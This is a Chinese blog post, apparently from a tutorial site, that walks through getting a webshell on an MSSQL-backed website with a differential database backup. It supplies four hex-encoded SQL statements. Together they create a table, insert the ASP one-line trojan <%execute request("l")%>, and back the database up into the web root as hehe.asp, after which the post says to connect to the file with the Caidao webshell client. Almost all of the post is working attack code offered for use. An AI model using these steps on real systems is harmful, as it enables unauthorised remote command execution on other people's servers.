mssql差异备份拿shell

(1)首先:

declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x4e6577706f7274 backup database @a to disk=@s;

注意:0x4e6577706f7274 这个字符串是数据库名字的十六进制数字,这个这个字符串的转换用hackbar这个小工具进行转换

这里的数据库名字是:Newport 转换后就是:4e6577706f7274


(2)

create table [dbo].[hack520] ([cmd] [image]);

注意:这个是创建一个表

(3)

insert into hack520(cmd) values(0x3C2565786563757465207265717565737428226C2229253E);

这个在数据库中插入一句话木马:其中:0x3C2565786563757465207265717565737428226C2229253E 是木马内容的十六进制数字,也用hackbar 进行转换

这里的一句话的内容是:<%execute request("l")%> 转换之后:3C2565786563757465207265717565737428226C2229253E

(4)

declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x433a5c696e65747075625c777777726f6f745c686568652e617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT

这个是将带木马的文件备份到网站路径底下:其中:433a5c696e65747075625c777777726f6f745c686568652e617370是一句话木马的绝对路径的十六进制的数字,同样的也用hackbar进行转换

这里的一句话的绝对路径是:C:\inetpub\wwwroot\hehe.asp 转换之后:433a5c696e65747075625c777777726f6f745c686568652e617370


到这里,整个过程就结束了,用菜刀访问一下:




  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值